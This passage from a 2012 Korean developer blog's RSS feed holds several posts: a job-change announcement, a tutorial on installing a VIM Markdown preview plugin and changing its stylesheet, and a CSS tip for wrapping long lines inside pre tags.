&lt;h4&gt;'&lt;a href=&quot;/category/안드로이드%28Android%29%20개발&quot;&gt;안드로이드(Android) 개발&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/800&quot; &gt;안드로이드 OS를 PC에서 실행시켜보자(Android-x86 Project)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/760&quot; &gt;안드로이드에서 &amp;quot;캘린더가 없습니다&amp;quot; 오류 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/08/31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/744&quot; &gt;안드로이드 마켓에서 어플 업데이트가 정상적으로 되지 않거나 마켓 상태가 이상할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(3)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/06/19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/721&quot; &gt;안드로이드 앱 개발자 등록시 주의하세요~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(9)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2010/10/03&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>안드로이드(Android) 개발</category>
			<category>ICS</category>
			<category>pc</category>
			<category>아이스크림 샌드위치</category>
			<category>안드로이드</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/800</guid>
			<comments>http://kkamagui.tistory.com/800#entry800comment</comments>
			<pubDate>Sun, 04 Mar 2012 13:34:06 +0900</pubDate>
		</item>
		<item>
			<title>정리... 그리고 새로운 시작...</title>
			<link>http://kkamagui.tistory.com/798</link>
			<description>아시는 분은 아시겠지만, 정든 집(?)을 떠나 새로운 곳으로 옮기게 됐습니다. ^^)/~ 한 2년 전부터 과연 10년 뒤에 어떤 모습일까를 생각해왔는데... 그리 밝지 않더라구요. ㅠㅠ 물론 오래 다니신 분들이 들으시면 웃으시겠지만, 제가 그렇게 느끼는 걸 어떻하겠습니까? ㅠㅠ&lt;br /&gt;
&lt;br /&gt;
그래서 이직을 생각하고 여러군데 연락을 드렸는데... 미천한 저를 여러군데서 불러주셔서 깜짝 놀랐습니다(저를 좋게 봐주신 많은 분들께 감사드립니다). 모두 이름있고 쟁쟁한 곳이라 고민이 많았는데요... 결국 한 곳을 선택했습니다~!!! @0@)/~ 이 곳을 선택한 이유는 다른 곳들과 분위기가 조금 달라서였는데요, 일반 회사와는 다른 곳이라 궁금하기도 했고 고용이 비교적 안정적이더라구요.&lt;br /&gt;
&lt;br /&gt;
물론 지금있는 곳도 고용은 안정적이지만... 의미가 조금 다릅니다. ^^;;;; 지금 있는 곳은 경쟁에서 도태되면 짜르지는 않지만 한직으로 배치받고 스스로 퇴직을 하도록 만드는 분위기라.... ㅠㅠ 회사를 다녀도 다니는 것이 아닌 것이죠. ㅠㅠ 이런 면은 이직하는 곳이 더 나은 것 같습니다. ^^;;;; 물론 아직 잘 몰라서 그렇게 생각하는 걸수도 있지만.... 쿨럭..;;;;&lt;br /&gt;
&lt;br /&gt;
4월에 출근이 결정된지라... 정든 집(?)은 3월 말까지만 출근하겠군요. 유종의 미를 거둘 수 있도록 잘 마무리 해야겠지요. ^^;;; 아우... 1월부터 이거 고민하느라 머리를 너무 썼더니 죽을 것 같네요. 코딩이나(?) 하면서 머리를 식혀야 겠습니다. ㅎㅎ&lt;br /&gt;
&lt;br /&gt;
그럼 좋은 하루 되세요 ;)&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-798-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-798-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-798-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F798&amp;regts=1330574325&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/803&quot; &gt;요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>새로운 시작</category>
			<category>안녕</category>
			<category>이직</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/798</guid>
			<comments>http://kkamagui.tistory.com/798#entry798comment</comments>
			<pubDate>Thu, 01 Mar 2012 12:57:56 +0900</pubDate>
		</item>
		<item>
			<title>마크다운(Markdown)용 VIM Preview Plugin 사용법</title>
			<link>http://kkamagui.tistory.com/797</link>
			<description>&lt;p&gt;
  &lt;/p&gt;
&lt;h1&gt;마크다운(Markdown)?&lt;/h1&gt;

&lt;p&gt;얼마전에 마크다운(Markdown)이란 것을 새로 접했습니다. 위키처럼 텍스트 기반으로 편하게 문서를 작성할 수 있고, 문법 자체도 아주 직관적이어서 배우기 쉽더군요. 물론, 여기서 직관적이라는 건... 사람에 따라 조금 다르게 느낄수도 있는 부분이지만, 위키를 한번 접해보신 분이라면 &quot;아하~!!&quot;라고 하실 겁니다. &lt;/p&gt;

&lt;p&gt;그래서 루비 온 레일즈(Ruby on Rails)의 &lt;a href=&quot;http://guides.rubyonrails.org/&quot; title=&quot;튜토리얼&quot;&gt;튜토리얼&lt;/a&gt;을 보고 간단하게 만든 사이트에 마크다운 파서인 &lt;a href=&quot;https://github.com/tanoku/redcarpet&quot; title=&quot;레드카펫&quot;&gt;레드카펫(Redcarpet)&lt;/a&gt;을 설치해서 마크다운 블로그를 만들었습니다. &lt;/p&gt;

&lt;p&gt;사실 마크다운 형식으로 쓴 글을 파싱해서 보여주는 것이 전부라 블로그라고 하기도 좀 그렇지만... 일단 대략 완성되었으니 한번 공개해봅니다. ^^;;;; &lt;a href=&quot;http://blog-kkamagui.cloudfoundry.com&quot;&gt;kkamagui의 마크다운 블로그&lt;/a&gt;로 바로가기~!! &lt;a href=&quot;http://blog-kkamagui.cloudfoundry.com/posts/1&quot;&gt;간단 마크다운 문법 정리&lt;/a&gt;로 가면 마크다운 문법이 어떤 것이고 어떻게 보여지는지를 간단히 확인할 수 있으니 궁금하시면 한번 들러보시기 바랍니다. ^^;;;&lt;/p&gt;

&lt;p&gt;새로 만든 블로그에 글을 적다보니 약간 불편한 점이 있더군요. 글쓰는 것 자체는 편해졌는데, 단지 웹에서 작업을 해야한다는 것이 좀 불편했습니다. 만일 로컬에서도 작업할 수 있다면, VI 에디터에서 글을 쓰고 바로바로 확인하는 방법으로 더 편하게 작업할 수 있을테니까요. ^^;;;&lt;/p&gt;

&lt;p&gt;그래서 찾아보던중... &lt;a href=&quot;http://blog.outsider.ne.kr/569&quot;&gt;아웃사이더님&lt;/a&gt;의 블로그에서 VIM Plugin을 발견했습니다. VIM에서 작업하다가 Command Line에 &lt;code&gt;:Mm&lt;/code&gt;만치면 웹 브라우저에서 바로 확인할 수 있는 멋진 녀석이더군요. ;)&lt;/p&gt;

&lt;h1&gt;VIM Markdown Preview 설치 방법&lt;/h1&gt;

&lt;p&gt;설치방법 또한 아주 간단했습니다. &lt;a href=&quot;https://github.com/peterhost/vim-markdown-preview#readme&quot;&gt;vim-markdown-preview&lt;/a&gt;사이트로 이동해서 파일을 다운로드한 뒤, &lt;strong&gt;plugin 폴더와 doc 폴더의 모든 파일&lt;/strong&gt;을 홈 디렉터리 아래에 있는 .vim 디렉터리 아래에 넣어두면 됩니다. ^^;;; 직접 복사하는 것이 귀찮다면 아래처럼 &lt;code&gt;install.sh&lt;/code&gt;를 직접 실행하셔도 됩니다. 단, 홈 디렉터리 아래에 .vim/plugin 폴더가 이미 생성되어 있어야 합니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;shell&quot;&gt;$&amp;gt; install.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;h1&gt;실행 방법&lt;/h1&gt;

&lt;p&gt;설치가 모두 끝났다면 vim으로 파일을 하나 열어서 아래처럼 텍스트를 그대로 입력한 다음 Command Line에 &lt;code&gt;:Mm&lt;/code&gt;을 입력해보세요. 기본 CSS가 Github Style로 되어 있어서, Github처럼 예쁘게 포매팅된 문서를 보실 수 있을 겁니다. ^^&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;markdown&quot;&gt;#1.안녕하세요 H1 입니다.
## 1.1 H2에요

이것은 일반 텍스트입니다. 마크다운으로 아주 편하게 문서를 작성할 수 있어요. ;)

* 리스트1
* 리스트2
* 리스트3

이제 코드를 한번 보겠습니다.

    이 부분은 코드로 표시될 부분입니다. 탭을 1번 입력하거나 스페이스바를 4번 입력하면 코드 블럭을 사용할 수 있습니다. 

&amp;gt; 이것은 인용 블럭입니다. 정말 쉽죠? ^^;;;

[kkamagui blog](http://kkamagui.tistory.com)는 링크를 거는 간단한 방법입니다. 이것 외에도 많은 방법이 있어요 ;) 더 많은 내용은 [마크다운 문법](http://blog-kkamagui.cloudfoundry.com/posts/1)을 참고하세요.

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;결과:&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;h1&gt;1.안녕하세요 H1 입니다.&lt;/h1&gt;

&lt;h2&gt;1.1 H2에요&lt;/h2&gt;

&lt;p&gt;이것은 일반 텍스트입니다. 마크다운으로 아주 편하게 문서를 작성할 수 있어요. ;)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;리스트1&lt;/li&gt;
&lt;li&gt;리스트2&lt;/li&gt;
&lt;li&gt;리스트3&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;이제 코드를 한번 보겠습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;이 부분은 코드로 표시될 부분입니다. 탭을 1번 입력하거나 스페이스바를 4번 입력하면 코드 블럭을 사용할 수 있습니다. 
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;이것은 인용 블럭입니다. 정말 쉽죠? ^^;;;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;http://kkamagui.tistory.com&quot;&gt;kkamagui blog&lt;/a&gt;는 링크를 거는 간단한 방법입니다. 이것 외에도 많은 방법이 있어요 ;) 더 많은 내용은 &lt;a href=&quot;http://blog-kkamagui.cloudfoundry.com/posts/1&quot;&gt;마크다운 문법&lt;/a&gt;을 참고하세요.&lt;/p&gt;

&lt;hr&gt;

&lt;h1&gt;CSS 바꾸는 방법&lt;/h1&gt;

&lt;p&gt;Github Style도 충분히 만족스럽지만 각자의 취향차이가 있으니 자신이 원하는 CSS로 바꾸는 방법도 살짝 알아보겠습니다. 홈 디렉터리에 있는 .vim/plugin 폴더 아래의 preview 관련 폴더로 이동해보면 아래와 같은 파일이 보일겁니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;shell&quot;&gt;kkamagui@ubuntu:~/.vim/plugin/vim-markdown-preview/stylesheets$ ls
github.css  safari-reader.css  simple-print.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;여기서 &lt;strong&gt;github.css를 자신의 입맛대로 바꾸거나&lt;/strong&gt;, 아니면 여기에 css 파일을 복사하고, &lt;strong&gt;plugin 폴더 아래에 있는 vmp.vim 파일&lt;/strong&gt;을 수정해도 됩니다. 파일을 열어서 23번 라인 근처를 보시면 stylesheet를 지정하는 부분이 보이는데요, 요 부분을 수정해줍니다. 저는 application.css 파일을 사용하고 있어서 요걸 지정해줬습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;shell&quot;&gt; 22 if !exists('g:VMPstylesheet')
 23     let g:VMPstylesheet = 'application.css'
 24 endif
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;자, 다 변경했으면 이제 다시 Command Line에서 &lt;code&gt;:Mm&lt;/code&gt;을 입력해보겠습니다. 그러면, 새로운 페이지가 열리면서 지정한 CSS가 적용된 화면을 볼 수 있을 겁니다. ^^;;;&lt;/p&gt;

&lt;p&gt;마크다운덕에 재미있는 일을 많이 해보는군요. ;) 텍스트로 만들어진 문서를 작성하는데는 마크다운도 괜찮은 선택인 것 같습니다. 그림이 들어가야한다면... 그림을 어디 올려서 링크를 걸어야하는 점이 약간 불편하긴한데요, 그래도 링크만 있다면 그림을 넣는건 편리하기 때문에 어떻게든 될 것 같네요. &lt;/p&gt;
&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-797-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-797-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-797-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F797&amp;regts=1329034356&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/799&quot; &gt;스타트 루비(Start Ruby) 1편&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/797&quot; &gt;마크다운(Markdown)용 VIM Preview Plugin 사용법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/796&quot; &gt;pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>루비</category>
			<category>루비 온 레일즈</category>
			<category>마크다운</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/797</guid>
			<comments>http://kkamagui.tistory.com/797#entry797comment</comments>
			<pubDate>Sun, 12 Feb 2012 17:10:20 +0900</pubDate>
		</item>
		<item>
			<title>pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법</title>
			<link>http://kkamagui.tistory.com/796</link>
			<description>HTML 태그 중에 pre 태그는 그 내부에 있는 글을 있는 그대로 보여주는 특징이 있습니다. 그래서 Code를 보여줄 때 pre 태그를 사용해서 쓰고 있는데요, 이게 한 라인이 길어지면 스크롤바를 만들어서 보여주더라구요. ^^;;;;&lt;br /&gt;
&lt;br /&gt;
사실 스크롤바를 보여줘도 상관은 없는데, 매번 스크롤해서 보려니 귀찮기도 하고... 그냥 다른 태그들처럼 다음 라인으로 개행을 해서 보여줘도 되는 것 같기도해서 방법을 찾아봤습니다. &lt;br /&gt;
&lt;br /&gt;
역시나 구글신이 친절히 알려주셨는데, 아래처럼 css의 pre 태그 항목에 white-space: pre-wrap; 속성을 사용하면 됩니다. 좀더 자세한 내용은 &lt;a title=&quot;[http://stackoverflow.com/questions/248011/how-do-i-wrap-text-in-a-pre-tag]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://stackoverflow.com/questions/248011/how-do-i-wrap-text-in-a-pre-tag&quot;&gt;http://stackoverflow.com/questions/248011/how-do-i-wrap-text-in-a-pre-tag&lt;/a&gt; 을 참고하시면 됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;pre{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; background-color: #E6E6FA;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; padding:10px;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; overflow: auto;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;white-space: pre-wrap; /* pre tag내에 word wrap */&lt;/span&gt;&lt;br /&gt;
}&amp;nbsp;&amp;nbsp; &lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
아우... 이거 원 모르는게 많아서 진도가 나가질 않네요. ㅠㅠ 웹세상은 제가 아는 세상과 또 다른 세계인 것 같아요. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-796-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-796-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-796-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F796&amp;regts=1329018373&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/799&quot; &gt;스타트 루비(Start Ruby) 1편&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/797&quot; &gt;마크다운(Markdown)용 VIM Preview Plugin 사용법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/796&quot; &gt;pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>css</category>
			<category>PRE 태그</category>
			<category>루비 온 레일즈</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/796</guid>
			<comments>http://kkamagui.tistory.com/796#entry796comment</comments>
			<pubDate>Sun, 12 Feb 2012 12:45:38 +0900</pubDate>
		</item>
		<item>
			<title>메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기</title>
			<link>http://kkamagui.tistory.com/795</link>
